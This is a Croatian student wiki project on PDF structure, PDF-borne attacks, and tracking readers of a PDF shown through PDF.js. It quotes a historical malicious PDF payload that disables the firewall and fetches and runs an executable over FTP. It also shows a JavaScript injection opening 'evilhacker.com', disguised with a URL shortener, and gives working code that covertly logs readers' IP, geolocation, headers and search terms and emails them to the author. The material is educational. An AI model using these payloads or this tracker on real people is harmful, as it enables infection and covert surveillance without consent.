Označavanje i praćenje PDF-a

Izvor: SIS Wiki
Skoči na: orijentacija, traži

Student: Dino Kliček


Sadržaj

PDF format

PDFicon.png

Portable Document Format ili poznatiji kao PDF format je oblik zapisa dokumenata koji omogućava pouzadano prikazivanje podataka i razmjenu takve vrste dokumenta između osoba neovisno o njihovom softveru, hardveru ili operacijskom sustavu. PDF je kreirao Adobe Systems 1993. godine, a od 2008. godine PDF je postao otvoreni standard objavljen od svjetske organizacije za standardizaciju ISO (ISO/IEC 32000-1:2008), dok je do tad Adobe posjedovao njegovu specifikaciju. Upravo ta popularnost i velik broj otkrivenih ranjivosti u softveru i propusta u samom jeziku kojeg PDF koristi za prikaz dokumenata, pogodovali su razvoju zloćudnog softvera koji koristi taj format. [1]

Većina računalnih korisnika razumije PDF datoteku kao jednostavan način razmjene dokumenata, no upotreba PDF-a je raznovrsna i interaktivnija između korisnika i samog dokumenta. PDF dokument sadrži kompletan opis, uključujući tekst, slike, vektorsku grafiku, rasterske slike, a može sadržavati i interaktivnu grafiku u 2D i 3D prostoru. Način na koji PDF format definira grafiku vrlo je sličan jeziku PostScript, a koristi Kartezijev koordinatni sustav, koji je neovisan o korištenoj platformi, za opis površine stranice. [4] Također, format je prvenstveno zamišljen da simulira oblik knjige, te svojim izgledom predstavlja digitalni oblik knjige. Korištenje PDF dokumenata, odnosno pojedinih funkcionalnosti takvog formata često se koristi kao vektor napada jer PDF dokument može sadržavati različite vrste tereta, uključujući viruse i trojance koji se mogu koristiti za infiltriranje u organizacije i postati prijetnja njihovoj imovini.[3]

Tvrtka Adobe, kao izumitelj i bivši vlasnik specifikacija PDF-a je najzastupljenija na tržištu alata. Njeni aktualni alati su (počevši od onog sa najmanje mogućnosti): Reader 9, Acrobat Standard 9, Acrobat Pro, Acrobat Pro Extended dok postoje i ostali popularni alati: Ostali popularni alati: Foxit Reader i ostali alati iste tvrtke, Evince, Sumatra PDF, Nitro PDF i drugi.

Sintaksa PDF-a

PDF dokument je zapravo podatkovna datoteka sastavljena od objekata koji mogu biti statične ili interaktivne prirode. Poredak tih objekata nije važan što PDF dokumentima daje određenu fleksibilnost. Svi ti objekti moraju biti povezani preko povratne reference (cross reference table) koja se uvijek nalazi na pri kraju PDF dokumenta. Sva ažuriranja dokumenta i bilo kakve izmjene u njemu se zapisuju na kraj dokumenta tako da se originalna verzija sačuva u potpunosti. Dakle, dodaju se dodatni objekti dokumentu, dok se referentna tablica se ažurira kako bi se promjena vidjela. Također, kod brisanja objekata, odabrani objekti se brišu iz referentne tablice, ali se ne uklanjaju iz dokumenta. PDF objekti mogu definirati okidače koji reagiraju i pokreću akcije kada korisnik pritisne određenu tipku na tipkovnici ili mišu itd.

Na sljedećim slikama može se vidjeti izgled strukture PDF dokumenta koja je podijeljena na četiri komponente [4].

PDFStructure3.png[2] PDFStructure4.png [2] RodDijet.png

Kratki opis svake komponente PDF-a:

1) Header - nalazi se na početku dokumenta gdje oznaka %pdf-1.x označuje verziju PDF-a.

2) Body - sadrži sve objekte u kojima su zapisane informacije o korištenom fontu, slikama te naposljetku i riječima. Svaki objekt je definiran oblikom: objNbr verNbr obj << (object contents) >> endobj gdje je [objNbr] – redni broj objekta, verNbr identifikator verzije objekta koji sa objnum čini jedinstvenu oznaku objekta kojim se može referencirati. Nadalje obj, endobj su ključne riječi, a u objekt se mogu stavljati vrijednosti poput vrste fonta, akcije itd. Objekti su u hijerarhijskom odnosu roditelj-djeca.

3) Xref - ili povratna reference služi za upravljanje i povezivanje objekata unutar PDF-a. Svaka linija unutar xref tablice odgovara objektu u datoteci i označava pomak u bajtovima od početka datoteke do mjesta gdje se objekt nalazi. Moguće je postojanje više xref tablica prema dizajnu tako da se kasnije PDF datoteke mogu ažurirati.

4) Trailer - PDF dokument sadrži završni dio sa oznakom %% EOF koja ukazuje na povratnu referencu i na objekt korijena kako bi se izvršilo renderiranje da bi podaci PDF-a bili vidljivi.

PDF akcije i filtri

Specifikacija PDF jezika mnogo je složenija nego što se misli. Od nastanka, sa svakom novom verzijom, Adobe je dodavao nove mogućnosti. Posljednja inačica PDF-a je 1.7. Od verzije 1.3 u PDF je uvedena mogućnost dodavanja JavaScript koda. Tako se JavaScript kodom može utjecati na izgled stranica, podatke u poljima, na forme. Uz to, na izvršavanje koda može utjecati i neka akcija korisnika npr. otvaranje dokumenta i slično.

U prethodnom tekstu bilo je posmenuto da objekti mogu imati i izvodi razne akcije, a najznačajniji su [2]:

/Goto or /GotoR - idi na definiranu stranicu u dokumentu

/Launch - izvrši komandnu liniju, ukinuto od verzije 9.3.3. kako bi se spriječilo otvaranje /Launch cmd.exe

/JavaScript - izvrši javascript kod

/Hide - skrivanje/otkrivanje poruka

/URI - spoji se na dani URI

Hakeri često koriste akcije /Launch i /JavaScript za izvršavanje napada putem PDF datoteka. Isto tako, važno je spomenuti da PDF dokumenti omogućuju sadržavanje i binarnog sadržaja koji se može iskoristiti za skrivanje payloada PDF dokumenta koristeći se jednim od sljedećih flitara [2]: ASCIIHexDecode, ASCII85Decode, LZWDecode, FlateDecode, CCTTFaxDecode, JBIG2Decode, DCTDecode, JPXDecode. Svaki znak može se napisati heksadecimalnim ASCII kodom tako da npr. /Java#53cript je isto što i /JavaScript. Dakle, vidljivo je da su pravila za leksičko izražavanje u PDF-u vrlo su labava čime se stvara mogućnost napadačima da prikriju zloćudni kod jer je time izbjeći detekciju antivirusnim programima ili sustavima za detekciju upada.

Ranjivosti PDF-a

Kao što se da naslutiti PDF nije samo oblik dokumenta, već je programski jezik koji se koristi za izradu i manipulaciju dokumenata. PDF podržava značajke izvršenja koje su dizajnirane za interakciju s dokumentima. Na primjer, PDF datoteka može se koristiti kao interaktivni obrazac gdje se podaci mogu poslati natrag na neku udaljenu web stranicu i slično. Međutim, u novije vrijeme PDF preglednici, kao što su Adobe Acrobat i Foxit, podržavaju dodatne funkcionalnosti kao što su izvršavanje JavaScript, Flash i ActiveX. Također, PDF datoteke mogu se pregledavati u preglednicima Interneta pomoću dodataka (plug-ins) kao što postoji dodatak preglednika za Adobe Acrobat Reader. Ovo uvodi nove napadačke vektore, kao što su ranjivosti cross-site scripting, kod kojih napadač injektira kod JavaScripta, VBScript ili čak HTML-a u web preglednik žrtve, a koji se zatim izvršava lokalno na žrtvinom računalu.

Ako se PDF datoteke pregledavaju u memoriji unutar internetskog preglednika, to znači da datoteka nije pohranjena na računalo žrtve, a što zapravo smanjuje vjerojatnost da će žrtva saznati da je zaražena, odnosno čita zaraženi PDF. Na primjer, privlačenjem žrtve da dođe na zlonamjerne web stranice može rezultirati izvršavanjem JavaScript-a PDF-a u pregledniku žrtve, gdje napadač dobiva informacije o trenutnoj sesiji, odnosno informaciju s na kojoj se stranici žrtva još nalazi. To bi moglo omogućiti napadaču lažno predstavljanje žrtvi ili pak dobivanje njezinih osjetljivih informacija. Dakle, JavaScript je glavni izvor za ranjivosti u PDF datotekama.

Međutim, postoje ranjivosti koje nisu vezane uz JavaScript. Na primjer /Launch akcija je naredba PDF-a koja omogućuje pokretanje bilo koje izvršne datoteke na računalu korisnika. Naime, spomenuta akcija Launch, kako je tako definirano u specifikaciji PDF-a, koristi ShellExecute funkciju operativnog sustava Windows. Adobe Reader pri pokretanju takve naredbe upozorava korisnika i pita ga je li siguran da to želi, no ta se poruka može izmijeniti i korištenjem socijalnog inženjeringa navesti korisnika da potvrdi akciju. To se može koristiti za izvršavanje naredbene ljuske ili drugog zlonamjernog koda itd. Stoga isključivanje JavaScript u PDF Readeru ne štiti od svih iskorištavanja. [4] Postoje i PDF eksploiti koji ne zahtijevaju od korisnika da otvori PDF datoteku. Zlonamjerni kôd može se izvršiti i kada korisnik prebaci miš iznad datoteke, pogleda sličicu ili odabere datoteku.

Adobe Reader dolazi sa dodacima (pluginovima) koji proširuju funkcije Reader-a. Takve dodatke mogu razviti i treće strane čime se ponovno javlja mogućnost propusta. Dodaci se mogu pronaći u subdirektorijima od Readera, a svi imaju proširenje *.api (obične DLL datoteke preko kojih su također zabilježeni ranjivosti što je dalo mogućnost napada).

Najčešći vektori napada na PDF dokument koji se javljaju prikazan je na sljedećoj slici.

Screenshot 2018-01-17 17.52.34.png

Vlastita izrada prema dostupnim podacima iz literature

Iz svega navedenog vidimo kako jezik PDF-a ima u svojim temeljima neke ranjivosti, tako da je moguće proizvesti zloćudni kod koji koristi ranjivost jezika, a ne softversku ranjivost, što može biti vrlo opasno. Druga bitna stvar je iznimno velika zastupljenost PDF datoteka na Web stranicama i to tako da se one automatski pokreću unutar Web preglednika. Ovo može biti jako opasno, posebno ako korisnik nema dovoljno dobro podešenu sigurnost unutar Web preglednika i slijepo vjeruje bilo kakvom sadržaju.

JavaScript koji podržava Adobe Reader / Acrobat je prirodan u svakom PDF dokumentu. Iako ima drugačije sučelje i programske funkcije u usporedbi s JavaScriptom podržanim od strane web preglednika također podržava i manje funkcionalnosti u usporedbi s onima u web preglednicima. No, svejedno je i dalje jako oružje hakera u cyber kriminalu. Javascript u PDF u dokumentu, ukoliko je uključen u postavkama (po defaultu jest), djeluje na jednosj od dvije razine povlastica u sigurnosnom kontekstu. Razine su:

Neprivilegirani kontekst - zadani način rada po default postavkama za bilo koji ugrađeni JavaScript u PDF-u. U ovom se kontekstu mogu koristiti samo one javascript operacije koje se odnose na strukturu dokumenta ili na manipuliranje podatkovnim poljima u obrascima.

Povlašteni kontekst - ova razina konteksta omogućuje više potencijalno opasnih javascript funkcija kao što su na primjer prilagođeni HTTP zahtjevi. To je moguće učiniti ako se neka funkcija prosljedi kao parametar u app.trustedFunction funkciji.

Adobe Acrobat Reader koristi crnu i bijelu listu dopuštenih mrežnih veza. Dakle, pojedini URL-ovi mogu biti dopušteni ili odbijeni. Prema defaultnim postavkama svi URL-ovi koji se ne nalaze na popisu crne liste ili na bijeloj listi zahtijevaju od korisnika dozvolu za mrežni pristupa određenom URL-u. Međutim, korisnik može to promijeniti u postavkama Upravljanje pouzdanošću. Crni popis i popis dopuštenih listova pohranjeni su u registru MS Windows na mjestu [1]: HKCU \ Software \ Adobe \ <Softver> \ <Verzija> \ TrustManager \ cDefaultLaunch URLPerms \ tHostPerms Te će postavke omogućiti nadzor nad svakim pokušajem pristupa udaljenoj web-lokaciji, uključujući funkciju app.launchURL ili getURL u JavaScriptu koja pristupa danom URL-u. Valja imati na umu da se na tim URL-ovima ne vrši razlučivanje imena URL-ova, stoga se web-lokacija http://www.evilhacker.com može blokirati, no ipak joj se može pristupiti putem vlastite IP adrese ako to nije blokirano preko firewall-a.

Većina napada usmjerena je prema tome da se, kad korisnik otvori zloćudni PDF, pokrene ugrađeni javascript kod koji se poveže na Internet, odnosno na neki landing page koji sadržava exploite koji provjere koju verziju browsera ili plugina korisnik koristi, a zatim ga dalje preusmjere na onu stranicu koja može iskoristiti određeni exploit kako bi zaobišao zaštite koje ima preglednik te u konačnici skinu i pokrenu malware, što se sve odvija u pozadini nevidljivo. Prethodno ispričano može se vidjeti na sljedećoj slici.

Embbededjs.png

Neki od najznačajnijih ranjivosti pronađenih u JavaScipt funkcijijama unutar Adobe Reader-a su:

Doc.media.newPlayer() - CVE-2009-4324

Collab.getIcon() - CVE-2009-0927

util.printf() - CVE-2008-2992

Collab.collectEmail.Info() - CVE-2007-5659.

Koristeći se Metasploitom, moćnim alatom koji pruža različite načine napada, ali isto tako načine za poduzimanje sigurnosnih mjera za ranjive sustave, možemo vidjeti neke od exploita Adobe PDf-a upisjujući naredbu: search type:exploit platform:windows adobe pdf. Na sljedećoj slici se može vidjeti nekolicina exploita vezana uz Adobe zajedno s imenom, rangom, datumom otkrivanja i opisom svakog eksploita. Metasploit time olakšava napade hakerima jer za svaki eksploit prikazuje sve dostupne opcije i oni su u mogućnosti da shvate koji exploit je najbolje koristiti za napad.

MetasploitPDF.png

Podaci o ranjivosti

Prema dostupnim podacima prikazanim na sljedećoj slici vidljivo je da izvršavanje koda primarna ranjivost Adobe Acrobat Readera koa najčešće korištenog alata za čitanje i uređivanje PDF datoteka. Također, velika ranjivost predstavlja i Overflow što ponajprije omogućuje Javascript. PDF jest plodno tlo za svoje zlonamjerne radnje i što dokazuje da je velik broj otkrivenih ranjivosti pogodovao većom iskorištavanju istih, no valja spomenuti da je izdan jako velik broj zakrpa kojima se sprječavaju napadi.

PDFRanjStats.png

Izvor.

Dakle, većina napada usmjerena je prema tome da se, kad korisnik otvori zloćudni PDF, pokrene novi proces, odnosno trojanski konj koji tako zarazi korisnikovo računalo. U srpnju 2007. godine zabilježeno je da napadači šire neželjene poruke elektroničke pošte (spam) s PDF dokumentima u privitku koji koriste tehnike zaštite PDF formata (enkripciju) kako bi otežali anti-virusnim alatima detekciju zloćudnog koda. U rujnu 2007. godine otkrivena je ranjivost alata Adobe Reader i Acrobat koji je omogućavao zloćudnom kodu da isključi Windows firewall, FTP-om preuzme crva i onda ga pokrene. Zloćudni PDF se širio e-mailom u privitku i bilo ga je dovoljno otvoriti da biste se zarazili. Zloćudni kod je sadržavao obj tag te je izgledao ovako:

obj<</URI(mailto :%/../../../../ ../../Windows /system32/cmd".exe"" /c /q \"@echo off&netsh firewall set opmode mode=disable&echo o 1. 2. 3.4>1&echo binary>>1&echo get /ldr.exe>>1&echo quit>>1&ftp -s:1 -v -A>nul&del /q 1& start ldr.exe&\" \"&\" "nul.bat)/S/ URI>

Krajem 2009. pojavila se naprednija vrsta zloćudnog PDF dokumenta istog tipa koji je koristio ranije zabilježenu ranjivost koristeći zloćudni JavaScript kod. Kao i mnoge ranije zloupotrebe tog tipa koristio je tehniku pretrpavanja memorije (overflow) kako bi se kod izvršio točno na određenom dijelu memorije. To se izvodilo gomilanjem NOP (No OPeration) naredbi procesoru, a riječ je bilo o nizu instrukcija koje imaju istu funkciju. Kod za pristup ljusci podijeljen je na dvije razine, što ovaj slučaj čini naprednijim od drugih. Naime, drugi dio koda je spremljen u drugom objektu, potpuno neovisno o prvom dijelu i on se izvršava (i postavlja u memoriju) iako dekompresija dokumenta ne uspijeva jer je PDF kod pogrešan. Tada, prvi dio koda pronalazi drugi dio u memoriji i prepušta mu daljnje izvođenje. Nakon toga, kod obrađuje ime PDF datoteke iz komandne linije i otvara je direktno, a sve zbog toga što ta PDF datoteka u sebi ima skrivene dvije izvršne datoteke (.exe). Prva pokušava dohvatiti zloćudni sadržaj sa mreže, dok druga otvara zloćudnu datoteku baby.pdf, kako korisnik ne bi primijetio da mu se prethodno srušio Adobe Reader. Na ovaj način napadač dobije potpunu kontrolu nad računalom korisnika.

U travnju 2010. pojavio se zloćudni PDF dokument koji je u sebi sadržavao učahureni objekt kodiran korištenjem filtera Flatedecode i ASCII85Decode, a taj je objekt zapravo predstavljao XML datoteku koja u sebi nosi zloćudnu datoteku formata TIFF (Tagged Image File Format). Malver je koristio dvije ranjivosti PDF-a: jednu vezanu uz JavaScript i drugu uz TIFF. U lipnju 2010. zabilježeno je kako napadači koriste ranjivost authplay.dll datoteke koja dolazi uz svaku kopiju alata Adobe Reader i Acrobat te predstavlja prevoditelja za Adobe Flash sadržaj u PDF dokumentima. Napadači su u PDF dokumente postavljali zloćudni Flash sadržaj. Propust je pogađao verzije 9 Adobeovih alata i to na operativnim sustavima Windows, Linux i Solaris. Ovaj propust su sigurnosne tvrtke kao Secunia ocijenile ekstremno kritičnim jer napadaču dozvoljava da preuzme kontrolu nad računalom napadnutog.[2]

Praćenje interakcija korisnika u PDF-u

PDF dokumenti imaju veliku svestranost s obzirom da se mogu prikazati unutar pojedinih čitača PDF dokumenta, ali i unutar web preglednika. Ovaj projekt posvećen je praćenju korisnikove interakcije unutar PDF-a prikazanog u web pregledniku i prikazu svih prikupljenih podataka vlasniku PDF dokumenta. Dakle, svaki puta kada netko otvori PDF u svojem pregledniku skupljaju se podaci poput datuma i vremena čitanja, IP adresa čitatelja, geolokacija te naravno sve učinjene interakcije u PDF dokumentu. Kod izrade ovog praktičnog dijela koristio sam se dostupnim 000webhosting serverom na kojem je stavljen PDF dokument, a također sam koristio PDF.js za otvaranje i čitanje PDF-a online. Razlog zašto je bolje i jednostavnije pratiti korisnike preko web preglednika jest taj da PDF dokumenti su danas dosta paranoični kod otvaranja i izvršavanja Javacript koda u sebi zahvaljujući svim mogućim dosadašnjim zakrpama. Važno je imati na umu da JavaScript objekti, funkcije i svojstva koje pruža Adobe JavaScript razlikuju se od onih koje pruža web preglednik. Acrobat JavaScript nema pristup objektima unutar HTML stranice. Slično tome, HTML JavaScript ne može pristupiti objektima unutar PDF datoteke zbog čega je otežana i dosta neefikasno praćenje interakcija korisnika.

PDF.js projekt

PDF.js je Javascript biblioteka namijenjena za prikazivanje PDF dokumenata pomoću HTML5 canvasa što znači da se može koristiti u modernim preglednicima bez instaliranja dodataka treće strane. Projekt izrade je pokrenula Mozilla sa načelom Andreas Galom koji je pokrenuo cjelokupni eksperiment u 2011. godini. PDF.js može funkcionirati kao dio web stranice (što je bio slučaj u ovom projektu) ili web preglednika. PDF.js već je u upotrebi na mnogim različitim mjestima, uključujući neka za online dijeljenje datoteka kao što su Dropbox, CloudUp i Jumpshare te je tamo inplementiran kako bi korisnicima omogućio pregled PDF dokumenata online bez skidanja.

PDF.js kao biblioteka sastoji se od niz javascript datoteka od kojih su pdf.js i pdf.worker.js najvažnije za ispravno funkcioniranje, odnosno prikazivanje PDF dokumenta. Zapravo, ono što se događa je parsiranje PDF datoteke koristeći se HTML5 canvasom što zapravo daje kao output browseru HTML, a ne PDF. To je ključno jer dostupne .html datoteke unutar PDF.js omogućavaju praćenje korisnikovih interakcija. Jedna od datoteka jest viewer.js gdje se promatranjem javascript koda može vidjeti niz eventova koji se koriste kod prikaza PDF-a.

ViewerEvents.png ViwerElem.png

Dakle, može se vidjeti korištenje event bus-a kao sabirnice svih eventova koja omogućuje da umjesto izravnog komuniciranja s drugim objektima na stranici, svaki objekt komunicira s ovim središnjim sustavom za upravljanje događajima. Također su vidljivi ID elemenata nad kojima se pozivaju eventi, a koji će kasnije poslužiti za izradu koda za praćenje interakcija. Važno mi je bilo dobro proučiti cjelokupni kod i shvatiti kako i na koji način se eventovi pozivaju.

PDF.js

Praktični dio projekta

Kako bi pratio interakciju korisnika prvo je bilo potrebno pronaći odgovarajući web hosting, u mojem slučaju 000webhost, koji omogućava izravno pisanje PHP-a na serveru. Web mjesto PDF dokumenta za praćenje. Hosting je dosta jednostavan i što je najbitnije omogućava jednostavan upload drugih datoteka za izradu web stranice. Stoga, PDF.js library, odnosno sve datoteke vezane uz PDF.js se lako implementiraju na server. Izgled stranice nalazi se na sljedećoj slici.

PocetnaPDF.png

Na početnom linku stavljen je gumb Izvor znanja koji se referencira sa sljedeći način: <a href=/web/viewer.html?file=isoSIS.pdf target=_blank onclick="<?php include_once("logs.php"); ?>">Izvor znanja</a>

Pritiskom na taj link otvara se PDF dokument nazvan isoSIS.pdf. Svi korisnici iako imaju instaliran Adobe plugin, Google ili neki drugi za čitanje PDF dokumenta online će vidjeti ovakvu alatnu traku označenu crvenom bojom na sljedećoj slici. Sasvim normalna traka koja posjeduje razne uobičajene funkcije za manipuliranje PDF dokumentom.

PocetnaPDF2.png

Važno je da se korisnik preusmjeri na viewer.html datoteku (vidljivo u url preglednika) koja omogućuje prikaz PDF datoteke zahvaljujući PDF.js-u. Viewer.html datoteka u sebi sadržava <script src="viewer.js"></script> čiji dijelovi koda su vidljivi na slici u PDF.js dijelu teksta, a zapravo je temelj za praćenje korisnikove interakcije unutar dokumenta. Naravno, viwer.html datoteka također sadržava <script src="pdfPracenje.js"></script>. Datoteka pdfPracenje.js zadužena je za slušanje određenih događaja, odnosno eventova koje korisnik pokreće u PDF dokumentu, a javascript kod je sljedeći: PROGRAMSKI KOD

(function(){
  var sveInterakcije = "";
  'use strict';
  var doc = 'pdfdefault',
    download = document.getElementById('download'),
    secDownload = document.getElementById('secondaryDownload'),
    print = document.getElementById('print'),
    secPrint = document.getElementById('secondaryPrint'),
    zoomIn = document.getElementById('zoomIn'),
    zoomOut = document.getElementById('zoomOut'),
    presentationMode = document.getElementById('presentationMode'),
    secPresentationMode = document.getElementById('secondaryPresentationMode'),
    pageRotateCw = document.getElementById('pageRotateCw'),
    pageRotateCcw = document.getElementById('pageRotateCcw'),
    findField = document.getElementById('findInput');

  if (window.location.search) {
    doc = window.location.search.split('=')[1];
  }
  /**
   * Prati ako se pagechange
   */
  window.addEventListener('pagechange', function pagechange(evt) {
    window.trackInteraction(doc, 'page-'+evt.pageNumber);
    var str = 'page-'+evt.pageNumber +" ";
    sveInterakcije = sveInterakcije + str + "\n";
    document.getElementById('hiddenInput').value = sveInterakcije;
  });

  /**
   * Prati download
   */
  download.addEventListener('click', function click(evt) {
    window.trackInteraction(doc, 'download');
    var str = 'download ';
    sveInterakcije = sveInterakcije + str + "\n";
    document.getElementById('hiddenInput').value = sveInterakcije;
  });

  /**
   * Prati download (button)
   */
  secDownload.addEventListener('click', function click(evt) {
    window.trackInteraction(doc, 'download');
    var str = 'download ';
    sveInterakcije = sveInterakcije + str + "\n";
    document.getElementById('hiddenInput').value = sveInterakcije;
  });

  /**
   * Prati print
   */
  print.addEventListener('click', function click(evt) {
    window.trackInteraction(doc, 'print');
    var str = 'print ';
    sveInterakcije = sveInterakcije + str + "\n";
    document.getElementById('hiddenInput').value = sveInterakcije;
  });

  /**
   * Prati print(button)
   */
  secPrint.addEventListener('click', function click(evt) {
    window.trackInteraction(doc, 'print');
    var str = 'print ';
    sveInterakcije = sveInterakcije + str + "\n";
    document.getElementById('hiddenInput').value = sveInterakcije;
  });
  
  /**
   * Prati zoomIn
   */
  zoomIn.addEventListener('click', function click(evt) {
    window.trackInteraction(doc, 'zoomIn');
    var str = 'zoomIn ';
    sveInterakcije = sveInterakcije + str + "\n";
    document.getElementById('hiddenInput').value = sveInterakcije;
  });
  
  /**
   * Prati zoomOut
   */
  zoomOut.addEventListener('click', function click(evt) {
    window.trackInteraction(doc, 'zoomOut');
    var str = 'zoomOut ';
    sveInterakcije = sveInterakcije + str + "\n";
    document.getElementById('hiddenInput').value = sveInterakcije;
  });
  /**
   * Prati korištenje moda prezentacije pdf-a
   */
  presentationMode.addEventListener('click', function click(evt){
    window.trackInteraction(doc, 'presentationMode');
    var str = 'presentationMode ';
    sveInterakcije = sveInterakcije + str + "\n";
    document.getElementById('hiddenInput').value = sveInterakcije;
  });
  
  secPresentationMode.addEventListener('click', function click(evt){
    window.trackInteraction(doc, 'presentationMode');
    var str = 'presentationMode ';
    sveInterakcije = sveInterakcije + str + "\n";
    document.getElementById('hiddenInput').value = sveInterakcije;
  });
    /**
   * Prati rotaciju pdf-a
   */
  pageRotateCw.addEventListener('click', function click(evt){
    window.trackInteraction(doc, 'pageRotateCw');
    var str = 'pageRotateCw ';
    sveInterakcije = sveInterakcije + str + "\n";
    document.getElementById('hiddenInput').value = sveInterakcije;
  });
  
  pageRotateCcw.addEventListener('click', function click(evt){
    window.trackInteraction(doc, 'pageRotateCcw');
    var str = 'pageRotateCcw ';
    sveInterakcije = sveInterakcije + str + "\n";
    document.getElementById('hiddenInput').value = sveInterakcije;
  });
 
 var timeout = null;
  //search u pdf-u
  findField.addEventListener('input', function input(evt) { 
      
      findField.onkeyup = function (e) {
        clearTimeout(timeout);

        timeout = setTimeout(function () {
            window.trackInteraction(doc, 'trazenje = '+ findField.value);
            var str = 'trazenje = '+ findField.value +" ";
            sveInterakcije = sveInterakcije + str + "\n";
            document.getElementById('hiddenInput').value = sveInterakcije;
        }, 800);
        };
  });
})();

Praćenje korisnikovih interakcija temelji se na elementima definiranim u viewer.html datoteci od raznih buttona kao što su download, zoom in, zoom out, presentation mode, print itd. pa sve do polja za unose fraze za pretraživanje, odnosno findfielda. Dakle, prvo sam definirao sve potrebne varijable temeljem već definiranih elemenata kako bi kasnije na njih pridružio event listenere. Nadalje, potrebno je rascjepkati URL kako bi varijabla doc dobila vrijednost naziva PDF dokumenta. Nadalje se svakoj prethodno definiranoj varijabli pridružuje eventListener koji kao argument prima već prethodno definirane eventove iz datoteke viwer.js. Tu je važno bilo da se ovisno o eventu pridruži i odgovarajuća funkcija, odnosno da se svaka promjena stranice bilježi već definiranim eventom pagechange , click, input, a postoje i mnogi drugi koji se mogu pronaći na slici kod eventBuseva.


Interakcije koje se prate su: posjećene stranice u PDF-u, download dokumenta, print, zoomIn, zoomOut, gledanje dokumenta u prezentacijskom modu (presentationMode), rotiranje stranica u smjeru kazaljke (pageRotateCw) ili obrnuto kazaljke na satu (pageRotateCcw) i na kraju spremanje fraza koje je korisnik unio u polje za pretraživanje dokumenta. Nakon što se svaki pojedinog eventa u varijablu sveInterakcije se sprema učinjena neka od prethodnih interakcija. Ta je varijabla potrebna kako bi se u konačnici mogli korisniku PDF dokumenta prikazati sve interakcije zajedno sa datumom i točnim vremenom otvaranja, IP adresom čitatelja i njegovom geolokacijom.


Cjelokupni proces spremanja svih učinjenih interakcija se izvršava nakon pritiska gumba za download-a ili pak zatvaranja dokumenta. Kako bi se to omogućilo potrebno je napisati odgovarajuće funkcije unutar viewer.html datoteke, a mogu se vidjeti na sljedećim slikama.

DownlButton.png GasenjePoziv.png

Kod pritiska gumba download i pomoću AJAX-a poziva se funkcija writeToFile koja zapisuje HTTP header od čitatelja zajedno sa datumom i točnim vremenom otvaranja, IP adresom čitatelja i njegovom geolokacijom. Zapravo se izvršava ono što posjeduje i SpremiRequest.php datoteka no na malo drugačiji način (prvenstveno radi boljeg upoznavanja sa AJAX-om i jQueryem). Također, zahvaljujući jQuery-u se nakon zatvaranja cijelog preglednika ili samo tab-a u kojem je otvoren dokument, navigator.sendBeacon aktivira SpremiRequest.php te se šalju sve interakcije (argument string). Sintaksu SpremiRequest.php dokumenta je sljedeća: PROGRAMSKI KOD


<?php

class SpremiHTTPRequest {
    
    
	public function Izvrsi($targetFile) {
	    $DT = date("D, d M Y H:i:s", $_SERVER['REQUEST_TIME']);
		$location = file_get_contents('http://freegeoip.net/json/'.$_SERVER['REMOTE_ADDR']);
        $userLocation = explode(',', $location);
	    
		$data = sprintf(
			"%s %s\n$DT\n\nHTTP headers:\n",
			$_SERVER['REQUEST_METHOD'],
			$_SERVER['SERVER_PROTOCOL']
		);
		
		//punjenje data-e
		foreach ($this->getHeaderList() as $name => $value) {
			$data .= $name . ': ' . $value . "\n";
		}
		
		foreach($userLocation as $userLocation){
            $data .= $userLocation."\n";  
        }
        
		file_put_contents(
			$targetFile,
			$data . file_get_contents('php://input') . "\n", FILE_APPEND | LOCK_EX
		);
		//php://input returns all the raw data after the HTTP-headers of the request, regardless of the content type
		
		$to      = 'dinokl9@gmail.com';
        $subject = 'Novo citanje PDF-a';
        $message =  $data . file_get_contents('php://input') . "\n"; 
        $headers = 'From: pdfproject@example.com' . "\r\n" .
        'X-Mailer: PHP/' . phpversion();

        mail($to, $subject, $message, $headers);
		
	}
	
	
	private function getHeaderList() {
		$headerList = [];
		foreach ($_SERVER as $name => $value) {
			if (preg_match('/^HTTP_/',$name)) {
				// convert HTTP_HEADER_NAME to Header-Name
				$name = strtr(substr($name,5),'_',' ');
				$name = ucwords(strtolower($name));
				$name = strtr($name,' ','-');
				// add to list
				$headerList[$name] = $value;
			}
		}
		return $headerList;
	}
}
(new SpremiHTTPRequest)-> Izvrsi('./data.txt');

?>

Dakle, nakon download-a dokumenta ili zatvaranja tab-a aktivira se SpremiRequest.php koji prvo dohvaća datum i vrijeme zahtjeva za dokumentom, a zatim i geolokaciju korisnika preko već ugrađenog servisa freegeoip. Nadalje se u varijablu podaci spremaju podaci o HTTP metode (uvijek POST), a zatim i podaci o protokolu preko kojeg je stranica bila zahtijevana. Nakon toga se dohvaćaju podaci HTTP glave preko istoimene funkcije gdje je svaki element polja jedna stavka glave te je potrebno malo igranja sa stringovima kako bi u konačnici ispis svake stavke ljepše izgledao. Nakon tog izvršavanja u varijabla podaci se sprema u data.txt na serveru gdje se poziva i php://input koji vraća sve podatke nakon HTTP zahtjeva neovisno o tipu podataka. To je važno jer također vraća sve interakcije koje je korisnik učinio, a koje se prosljeđuju kod zatvaranja prozora preko argumenta string.


Kako bi znao odmah tko je i što je čitao/tražio po PDF omogućeno je automatsko slanje mailova na emaila sa svim podacima koji su prikupljeni preko, odnosno zapisani preko SpremiRequest.php datoteke. Primjer outputa nakon čitanja PDF dokumenta vidljiv je na sljedećoj slici.


MailPracenja.png


Web mjesto PDF dokumenta za praćenje

Acrobat Javacript kao vektor napada

U nastavku slijedi i kratki eksperiment vezan uz prethodno objašnjeno. Koristeći se alatom 010 Editor, autora Didera Stivensa, omogućeno je promatranje PDF dokumenta u "dušu". na sljedećoj slici se nalazi upotrebljeni alat koji jasno prikazuje sve komponente PDF dokumenta kojeg sam koristio. Alat je dosta jednostavan za korištenje, a ujedno omogućava modificiranje otvorenog dokumenta. Tako sam u prvom slučaju 5 objekt modificirao na način da sam dopisao sljedeći tekst: /OpenAction<</S/JavaScript/JS(app.doc.getURL\('http://www.evilhacker.com'\);)>>. Time sam zapravo zatražio od PDF-a da odmah po otvaranju otvori dani URL, što zapravo Adobe reader izvršava nakon dozvole korisnika. Ta poruka je također vidljiva na slici.


PrviJS.png PrvaPoruka.png


Prethodna poruka je dosta naivna i zasigurno niti jedna žrtva ovakvog napada ne bi dopustila spajanje na takvu stranicu, već ju blokirala izmjesta. No ono što je zanimljivo da se taj URL može skratiti recimo Google Shortenerom čime dobivamo sljedeći link: https://goo.gl/hEi6bg. Ponovnom modifikacijom PDF u alatu 010 Editor upisujemo prethodni URL umjesto onog naivnog. Pokretanjem sada, novog modificiranog PDF dobivamo sljedeću poruku prikazanu na donjoj slici.


DrugaPoruka.png


